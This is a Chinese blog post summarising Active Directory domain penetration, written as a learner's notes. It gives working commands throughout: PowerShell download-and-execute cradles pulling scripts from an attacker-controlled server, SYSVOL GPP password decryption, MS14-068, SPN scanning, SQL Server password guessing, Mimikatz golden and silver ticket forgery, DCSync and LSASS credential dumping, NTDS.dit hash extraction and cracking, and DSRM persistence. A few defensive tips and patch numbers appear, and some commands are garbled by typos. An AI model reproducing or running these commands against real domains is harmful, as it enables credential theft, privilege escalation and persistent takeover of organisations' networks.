细读域渗透文章得到的总结
0x00前言
昨天看到一篇不错的域渗透文章。想理解里面的内容,然后耗费的时间有点多,不过收获还是很多的起码了解了域渗透该咋弄,怎么维持权限等等之类。由于时间不够无法搭建好环境进行域渗透学习(下午上学)。先写个目前总结的,等下个星期或者在学校搭建好环境在写一篇。
0x01正文
1.首先要知道那台是域控
1.查看自己的DNS地址
2.扫描端口开了389的那台就是
2.使用powershell进行信息收集
https://github.com/cheetz/PowerTools 用于域信息收集的项目
1.先将这个项目下载到vps或本地通过ngrok映射到公网
2.打开powershell执行:IEX (New.ObjectNet.WebClient).DownloadString('http://IP地址/powerview.ps1');Get-HostIP
Get-HostIP - resolves a hostname to an IP
Check-Write - checks if the current user can write to the specified file
Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit)
Invoke-CopyFile - copies a local file to a remote location, matching MAC properties
Test-Server - tests connectivity to a specified server
Get-UserProperties - returns all properties specified for users, or a set of user:prop names
Get-ComputerProperties - returns all properties specified for computers, or a set of computer:prop names
Get-LastLoggedOn - return the last logged on user for a target host
Get-UserLogonEvents - returns logon events from the event log for a specified host
Get-UserTGTEvents - returns TGT request events for a specified host
Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access
to a specified host
Invoke-SearchFiles - search a local or remote path for files with specific terms in the name
Convert-NameToSid - converts a user/group name to a security identifier (SID)
Convert-SidToName - converts a security identifier (SID) to a group/user name
详细使用:https://github.com/cheetz/PowerTools/tree/master/PowerView
3.SYSVOL GPP漏洞
SYSVOL是指存储公共服务器副本的共享文件夹,它们在域中所有的域控制器之间复制.Sysvol文件夹是安装AD时创建的,它用来存放GPO,脚本等信息。同时,存放Sysvol文件文件夹中的信息,会复制到域中所有DC上。
域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml,scheduledtasks.xml,services.xml中,datasources.xml
映射驱动(Drives.xml)
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(services.xml中)
计划任务(ScheduledTasks.xml)
由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限
\192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml
经过AES-256位加密
cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA"
可以使用AES私钥解密GPP密码
微软在MSDN上发布了AES加密密钥(共享密钥)
https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
使用PowerShell的脚本解密
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
寻找SYSVOL里的密码和攻击GPP(组策略偏好
注:当创建了一个域用户后,将其添加到验证组策略对象。在SYSVOL的xml文件会有用户的配置文件
http://www.91ri.org/14909.html
防SYSVOL更新配置文件:
防:
*在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。
*设置每个人访问权限
*不在组策略中使用域控密码
*设置共享文件夹SYSVOL的访问权限
*删除现有的GPP里包含密码的XML文件。
4.MS14-068攻击
需要条件:
域用户及其口令
域用户对应sid
域控地址 Win7及以上系统
Tips:
1. 操作系统要求Win7及以上,这是因为XP不支持导入Ticket
2. 攻击主机可使用其他域用户信息,比如可以在主机A上用域用户B的口令及sid攻击
3. 将Python脚本转成exe即可在任意一台Windows主机使用
注意事项:
Tips:
1. 如果不先清除内存中的Ticket直接导入,有可能会失败
2. 连接域控要使用域控地址,不要用IP
利用方法:https://www.cnblogs.com/backlion/p/6820744.html?utm_source=itdadao&utm_medium=referral
MS14-068过程:
1.请求没有PAC的Kerberos TGT认证票据作为标准用户,DC回复TGT
2.生成一个伪造的PAC,没有密钥,所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。
3.作为TGS服务票据请求的一部分,使用伪造的PAC作为授权数据发送无PAC的TGT到DC。
4.DC似乎被这个混淆了,所以它放弃了用户发送的不含PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到它自己的授权数据中,并将这个TGT发送给用户。
5.这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。
防御:安装检查KB3011780的安装
5.SPN扫描
Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包
SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内置帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册SPN。
SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。
powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers"
6.扫描SQL Server
*脚本地址:https://github.com/nullbind/Powershellery/tree/master/Stable-ish/MSSQL
*用法:Import-Module .Get-SQLServerAccess.psm1或者放到VPS用下载并执行的方式来执行脚本
*弱口令猜解:Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@#
*寻找敏感数据:Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
非扫描式的SQL Server发现
https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning
7.票据
kerberons协议理解:
Kerberos是windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份验证。相互认证或请求服务的实体被称为委托人(Principal)。参与的中央服务器被称为发布中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server 简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。
委托人(Principal)是一个具有唯一标识的实体,可以是一台计算机或一项服务,通过使用KDC颁发的票据来进行通信。委托人可以分为两类:用户和服务,分别具有不同种类的标识符。用户通过"user@REALM"格式的用户主体名称(User Principal Name,简称UPN来标识)。记住REALM一定是大写的。例如用户"bob"在"bhusa.com"域中应该表示为bob@BHUSA.com
服务主题名称(Service Principal Name,简称SPN)是用于域中的服务和计算机账户。SPN的格式形如"serviceclass/host_port/serviceName"。例如,主机"dc1.bhusa.com"上LDAP服务的SPN可能类似于"ldap/dc1.bhusa.com","ldap/dc1"和"ldcap/dc1.bhusa.com/bhusa.com"。参考全限定主机名和仅主机名,应该服务可能注册多个SPN
同通常是执行DNS查询来规范化主机名称。这就解释了DNS为什么微软Kerberos环境中的一个必要租件。查询服务"规范化"名称,然后生成请求服务的SPN。
用户要访问活动目录中的一项服务访问需经过以下几个步骤
1.客户端对用户口令执行散列运算(hash)。此hash值(即用户密钥)成为客户端和KDC共享的长期密钥(long term key)
2.KRB_AS_REQ-客户端加密一个时间戳,然后发送给身份验证服务
3.KRB_AS_REP-身份验证服务会解密时间戳,若解密成功,表明了客户端获得某个特定用户的口令(即验证了用户的身份)
①短期会话密钥,用于客户端向KDC发起后续的请求,该消息经客户端的长期密钥加密。(此短期会话密钥仅适用于该客户端和KDC之间)
②票据授予票据(Ticket Granting Ticket,简称TGT),包含有关用户名、域名、时间和组成员资格等信息。该消息经仅可知KDC的密钥加密(在Windows环境中为krbtgt账户的NT-Hash)。记住KDC不记录状态:客户端每次请求访问一项服务时,TGT都会被转发。
4.KRB_TGS_REQ-客户端使用AS返回的会话密钥构建访问特定服务的请求。客户端把TGT连同请求一起发送到票据授予服务
5.KRB_TGS_REP-票据授予服务向客户端发送一个服务票据(Service Ticket,简称ST),包括两个部分
*1远程服务器的部分-包括请求用户的组员资格,时间戳,用于客户端和远程服务器之间通信的会话密钥。使用远程服务器和
KDC共享的长期密钥加密这部分消息
*2.客户端的部分-包含用于客户端和远程服务器之间通信的会话密钥。使用步骤3中AS回复的短期会话密钥加密这部分消息
6.KRB_TGS_REQ-客户端把服务票据中的服务器部分和请求一起发送到远程服务器。远程服务器将直接接受该服务器票据,并不需要和KDC直接通信,因为该票据是用远程服务器和KDC共享的长期密钥加密过。解密成功即成功表名KDC已经允许了此次通信。
自己理解:
A为客户端(Principal),B为服务端
A要登陆B,A必须有B的用户。
A在登陆B的界面输入了用户名和明文密码Administrator/123456。A在发送请求之前会把B用户口令进行hash运算。如果验证通过,这个hash值会成为A和B通信的长期密钥。
进行hash运算后,A会加密一个时间戳。然后发送给身份验证服务(AS)
然后AS会解密时间戳,如果解密成功,表示A成功验证了用户的身份。然后AS会返回会话密钥构建的信息要求A访问特定服务的请求
A会把TGT连同请求一同发送到TGS,TGS收到后会把ST发送回给B
B收到TGS发回来的票据后,A使用票据和请求推送到远程服务器。远程服务器将直接接受该票据。
然后A成功登陆到B
通俗理解:
你面前有一道门,门后面有钱。要通过这道门你必须要有门的钥匙,当把钥匙插入到锁里面的时候。钥匙会和锁芯进行配对,如果配对成功就会返回咔的一声。代表你能扭动钥匙解锁这把锁,如果钥匙和锁芯对不上钥匙就会被弹出来。当你扭动钥匙的时候,就代表身份验证已经通过你正在开这把锁。当这把锁被开了后你就成功拿到门后面的钱
关于krbtgt账户和TGT的问题
1. 问题一:微软对长期密钥的散列值不加SALT
微软实现的Kerberos版本对MIT原始版本中的一个关键函数做了修改,最终降低了底层的安全性。在MIT原始版本中,首先在明文口令中添加字符串username@DOMAIN.COM,然后经过散列运算生成长期密钥。使用用户名给密码加盐,能够为碰巧密码相同的不同用户生成不同的散列值。只要涉及到密钥的操作,仍然需要使用实际的口令。
在微软实现版本中,口令转换成Unicode格式,再经过MD4运算生成没有加盐的密钥。这种情况也被称为NT-Hash,和微软十多年来存储长度大于14字符的密码的格式一样。缺少salt意味着任何需要密钥的操作能够直接地使用密码的散列版本,而不是使用实际的密码。这听上去像大家耳熟能详的“pass-the-hash”攻击的根本原因。
从一个攻击者的角度出发,如果能够提取该域的密码散列值,也就可以利用KRBTGT散列值来伪造TGT。虽然提取散列值看似难以实现,然而实际上,大部分渗透人员认为在普通的企业环境中这并不是一件困难的事情。我们会在白皮书下面的一个章节中作全面深入的解析。
利用思路
在微软活动目录中颁发的TGT是可移植的。由于Kerberos的无状态特性,TGT中并没有关于票据来源的标识信息。这意味着可以从某台计算机上导出一个有效的TGT,然后导入到该环境中其他的计算机上。新导入的票据可以用于域的身份认证,并拥有票据中指定用户的权限来访问网络资源。这种特别的攻击方法被称为“pass-the-ticket”攻击。
所谓的票据攻击就是伪造票据
客户端的有效性
由于Kerberos是无状态的,TGT必须包含了同票据授予服务交互所需的全部信息。根据微软实现的Kerberos协议扩展(MS-KILE),KDC负责设置TGT中相应的标志位,而票据授予服务使用这些标志位来颁发服务票据。默认情况下,TGT携带了有关用户的组成员资格、票据所使用的加密类型以及票据的有效期等信息。此外,微软使用TGT来加强域上传统的和最新的身份认证策略。TGT包含一些传统的值来限制账户,例如登录时长、账户是否禁用、账户是否过期、密码失效的时间戳。
万能票据(Golden Ticket)
综上所述,微软实现的Kerberos版本中存在的一系列问题所引发的后果是:Kerberos成为了攻击者实施Post-Exploitation的游乐场。如果攻击者能够攻陷KDC和提取KRBTGT散列值。然后利用这些有限信息,攻击者能够为委托人生成任意的TGT。Mimikatz工具把这种特性称之为“万能票据”(golden ticket,直译为“黄金票据”,为突出功能上的特点,意译译为“万能票据”)。万能票据拥有一些有趣的属性,会导致传统企业域中一些严重的安全问题。
首先,万能票据是全功能的TGT。也就意味着万能票据可用于Kerberos认证的任何服务。票据授予服务盲目地相信TGT中的信息,然后处理TGT并颁发服务票据。内存中插入万能票据并不需要提升权限。而且默认情况下,万能票据的有效期是10年。
其次,万能票据可以用来绕过当前Kerberos有关加密策略的要求。例如,可以使用DES或RC4加密算法创建一个TGT,即使该域明确支持AES,禁止使用DES或RC4。此情况会产生一个有趣的现象:TGT使用DES加密而服务票据使用AES加密。票据授予服务似乎并不担心TGT,也不拒绝异常行为,因为没有机制让票据授予服务报告关于策略的错误。
再次,万能票据并没启用任何高级账户策略的设置。微软添加了一个功能来验证服务票据的请求,以确保已禁用的TGT不能用于获得服务票据。然而,该功能的实现存在问题。只有当TGT的寿命超过20分钟时,票据授予服务才会验证TGT的有效性。如果TGT的寿命低于20分钟,票据授予服务将直接颁发服务票据,而不去验证TGT的有效性,默认情况下服务票据具有10小时的有效期。因为攻击者可以利用Mimikatz工具随心所欲的产生票据,所以攻击者只需清除旧的TGT,再替换为寿命少于20分钟的新票据,轻松突破20分钟的限制条件。
最终,万能票据可以被配置成任意用户和任意组的成员。这也可以创建一个票据,票据中任何用户都可以是任意组的成员。这可以用来绕过文件服务器或其他应用程序上基于用户组的访问限制。万能票据中的用户和SID不必在活动目录中真实存在。也就意味着可以为域中不存在的用户创建TGT,并仍然可以在TGT生命周期内前20分钟内从票据授予服务获得服务票据。
归根结底,在一个企业的活动目录的环境中,如果KRBTGT账户的丢失,也就意味着环境中的信任关系完全丧失。考虑到攻击者可以生成任意的Kerberos票据,能绕过对任意用户的账户策略,能够让用户成为任意组的成员,所以攻击者简直可以横行无阻。此外,鉴于KRBTGT账户极少更改散列值,攻击者可以在较长的时间内使用这些伪造的票据
创建“万能票据”的所需条件:
视频:https://www.youtube.com/watch?v=eNbujcPn5c4
①krbtgt账户的NT-Hash:该散列值是用于Kerberos的秘密密钥,仅位于域控服务器的活动目录中。所以攻击者必须攻陷域控服务器并提权至管理员权限;(域管理员权限)
②域账户名称:通常是域管理员“domain admin”;
③域名称;
④域SID:可以从域用户的SID或通过sysinternal中psGetsid.exe获得;
黄金票据是伪造票据授权授权票据(TGT)
黄金票据的局限性:
黄金票据欺骗了当前域的管理权限,当KRBTGT账户密码哈希显示在作为多域AD的林一部分的子域中时存在局限性。因为是root域包含全森林管理组。由于Mimikatz通过相对标识符(RID)向票据添加了组成员资格,因此Kerberos票据中的企业管理RID在其创建的域中(基于KRBTGT账户域)被标识为本地。如果通过获取域SID和附加RID创建的域安全标识符(SID)不存在,那么Kerberons票据的持有者不会收到该级别的访问权限。换句话说,在一个多域AD森林中,如果创建的GT(黄金票据)域不包含Enterprise Admins组,则GT不会向森林中其他域提供管理权限。在单个域控AD林中不存在局限性。换句话说,黄金票据在多个AD(域控中)受到只有一个域控的完全控制权限。而在单个AD(域控中)无局限性。
绕过黄金票据的局限性
在迁移方案中,从DomainA迁到DomainB的用户将原始DomainA用户SID值添加到DomainB的SID History属性中。当用户使用新用户登陆DomainB时,DomainA SID将与确定访问DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。一旦Mimikatz支持Golden和(Silver Tickets)中的SID History,事情会变的更加有趣,因为AD Forest中的任何组都可以被包含并且用于授权访问。使用最新版本的Mimikatz,我们现在可以将SID历史记录添加到Forest Enterpise Admin组的Golden Ticket中。一旦单个域名的KRBTGT账户密码哈希被捕获到时,通过黄金票据可以伪造用户登陆到整个森林中。
使用Mimikatz伪造Kerberons黄金票据
kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
生成hash值
命令例子:kerberos::golden /admin:darthvader /domain:lab.adsercurity.org /id:2601 /sid: S-1-5-21-4155807533-921486164-2767329826 /krbtgt:8a2f1adcdd519a23515780021d2d178a /ptt
导出hash
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
2、生成Golden Ticket
伪造的用户设置为god,执行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god
/ticket:gold.kirbi"
生成文件gold.kirbi
3、伪造Golden Ticket获得域控权限
导入Golden Ticket,执行如下命令:
kerberos::ptt c:\test\gold.kirbi
/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”
/ sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”
/ sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。?
/ user ---伪造的用户名
/groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。
/ krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。
/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。
/ startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。
/ endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(?5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。
/ renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(?5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。
/ sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。
/ aes128 - AES128密钥
/ aes256 - AES256密钥
黄金票默认组:
域用户SID:S-1-5-21 <DOMAINID> -513
域管理员SID:S-1-5-21 <DOMAINID> -512
架构管理员SID:S-1-5-21 <DOMAINID> -518
企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)
组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
命令格式如下:
kerberos :: golden / user:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt
命令示例:
.\mimikatz “kerberos::golden /user:DarthVader /domain:rd.lab.adsecurity.org /id:500 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /ptt” exit
参考文章:https://www.cnblogs.com/backlion/p/8127868.html
白银票据:
0x00介绍
白银票据是伪造Kerberons票证授予服务(TGS)的票,也称为服务票据。白银票据与环境票据不一样的是,白银票据没有与域控进行通信,白银票据只能单一访问某个服务。
0x01特点
1.白银票据是一个有效的票据授予服务(TGS),因为Kerberons验证服务运行的每台服务器都对服务器主体名称的服务账户进行加密签名
2.黄金票据是伪造TGT并且获得任何Kerberons服务,而白银票据是伪造(TGS)Kerberons票据,这意味着白银票据仅限于特定服务器上的任何服务
3.大多数服务不验证PAC(通过将PAC校验和发送到域控进行PAC验证),因此使用服务账户密码哈希生成有效TGS可以完全伪造PAC
4.攻击者需要服务账户密码哈希值
5.TGS是伪造的,所有没有和TGT通信,这意味着DC验证过
6.任何事件日志都在目标服务器上
0x02要求
1.域名
2.域的SID
3.域用户
4.目标服务器的域名全称,此处为域控的全称
5.用户ID(可选,管理员ID为500)
6.运行在目标服务器上的kerberons服务,入mssql,http,cifs
7.服务的NTLM散列(计算机用户或用户账户)
命令例子:kerberons::golden /user:Haqksd /domain:haq.com /sid:S-1-5-21-2289215397-288801521-4019949533-1000 /tarfet:yk.haq.com /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /pt
0x03引用文章的具体例子
文章地址:https://www.cnblogs.com/backlion/p/8119013.html
/domain –完整的域名称,如:lab.adsecurity.org
/sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127
/user – 域用户名
/ groups(可选) - 用户所属的组RID
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用,或者使用/ ptt立即将黄金票据插入到内存中以供使用
/ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID,Mimikatz默认值是500(默认管理员帐户RID)
/ startoffset(可选) - 票证可用时的起始偏移(如果使用此选项,通常设置为-10或0)Mimikatz默认值是0
/ endin(可选) - 票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时
/ renewmax(可选) - 续订最长票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为最长为7天
1.白银票据需要的参数
/target –目标服务器的FQDN
FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等
/rc4 –服务的NTLM散列(计算机帐户或用户帐户)
2.白银票据默认组
域用户SID:S-1-5-21 <DOMAINID> -513
域管理员SID:S-1-5-21 <DOMAINID> -512
架构管理员SID:S-1-5-21 <DOMAINID> -518
企业管理员SID:S-1-5-21 <DOMAINID> -519
组策略创建所有者SID:S-1-5-21 <DOMAINID> -520
3. Mimikatz命令创建白银票据
以下Mimikatz命令会在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建白银票据。为了成功创建Silver Ticket,需要从AD域转储中或在本地系统上运行Mimikatz来获获取adsmswin2k8r2.lab.adsecurity.org中AD计算机帐户密码哈希值。NTLM密码哈希与 rc4参数一起使用。服务SPN类型也需要在/ service参数中标识。目标计算机的FQDA需要在/ target参数中使用以及/ sid参数中的域SID。命令如下:
mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
0x05 白银票据在各种服务中的实列
1.白银票据的服务列表
Service Type Service Silver Tickets
WMI HOST
RPCSS
PowerShell Remoting
HOST
HTTP
WinRM HOST
HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including
Mimikatz DCSync
LDAP
Windows Remote Server Administration Tools RPCSS
LDAP
CIFS
2.Windows共享(CIFS)管理访问的银票
为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c $共享,我们能够将文件拷贝到共享文件中。
3.具有管理员权限的Windows计算机(HOST)白银票据
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
利用HOST Silver Ticket,我们可以创建一个新的计划任务。
或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。
4.Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行
为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。
注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。
5.白银票据证连接到具有管理员权限Windows计算机上的LDAP
为“ ldap ”服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。
利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息
注:lsadump::dcsync
向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
6.白银票据证连接到具有管理员权限Windows计算机上的WMI
为“ HOST ”服务和“ rpcss ”服务创建白银票据,以使用WMI在目标系统上远程执行命令。
注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。
Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand”
7.访问域控上“cifs”服务实列
首先需要获得如下信息:
/domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试
在域控上执行如下命令来获取域控主机的本地管理员账户hash
mimikatz log "sekurlsa::logonpasswords"
如图:
注:
此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。
整理以上获得的信息如下:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local
/service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155
/user:silver
使用mimikatz执行如下命令导入Silver Ticket
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如图,成功导入,此时可以成功访问域控上的文件共享
8.提取各种密码和hash
用mimkatz提取密码和hash
提取AD的哈希
lsadumo::lsa /inject exit
转储LSASS内存
sekurlsa::minidump c:\temp\lsass.dmp
提取KRBTGT用户账户的密码数据
privilege::debug lsadump::dcsync /domain:域名 user:krbtgt exit
管理员用户帐户提取密码数据:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
从NTDS.DIT中提取哈希
提取出来的文件通过ntdsdump是无法提取的通过esedbexport来恢复。
安装:
wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz`
apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig
esedbexport -m tables ntds.dit
大概需要(20-30分钟)
最后生成在./ntds.dit.export/
使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git
python setup.py build && python setup.py install
提取哈希:(这里需要将刚拷出来的三个文件中的系统复制到当前目录下)
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt
这样提取出来之后已经是转换成hashcat可破解的格式
hashcat -m 1000 ntout ./password.txt
9.DSRM密码同步将域控权限持久化
获取到域控权限后如何利用DSRM密码同步将域管权限持久化。
Windows Server 2008需要安装KB961320补丁才能支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。
KB961320
https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni
巧用DSRM密码同步将域控权限持久化
http://drops.xmd5.com/static/drops/tips-9297.html
0x02相关资料
SPN扫描
https://adsecurity.org/?p=1508
扫描SQLServer的脚本
https://github.com/PyroTek3/PowerShell-AD-Recon
Kerberos的黄金门票
https://adsecurity.org/?p=1640
域服务账号破解实践
http://bobao.360.cn/learning/detail/3564.html
Kerberos的认证原理
http://blog.csdn.net/wulantian/article/details/42418231
深刻理解windows安全认证机制ntlm&Kerberos
的Kerberos身份验证流程
https://klionsec.github.io/2016/08/10/ntlm-kerberos/
敞开的地狱之门kerberons
https://www.freebuf.com/articles/system/45631.html
黄金票据的使用
https://www.youtube.com/watch?v=eNbujcPn5c4
白银票据的使用
https://www.youtube.com/watch?v=jVqKVdBYPp0
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:细读域渗透文章得到的总结
本文作者:九世
发布时间:2018-12-16, 10:47:24
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/9824134d.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。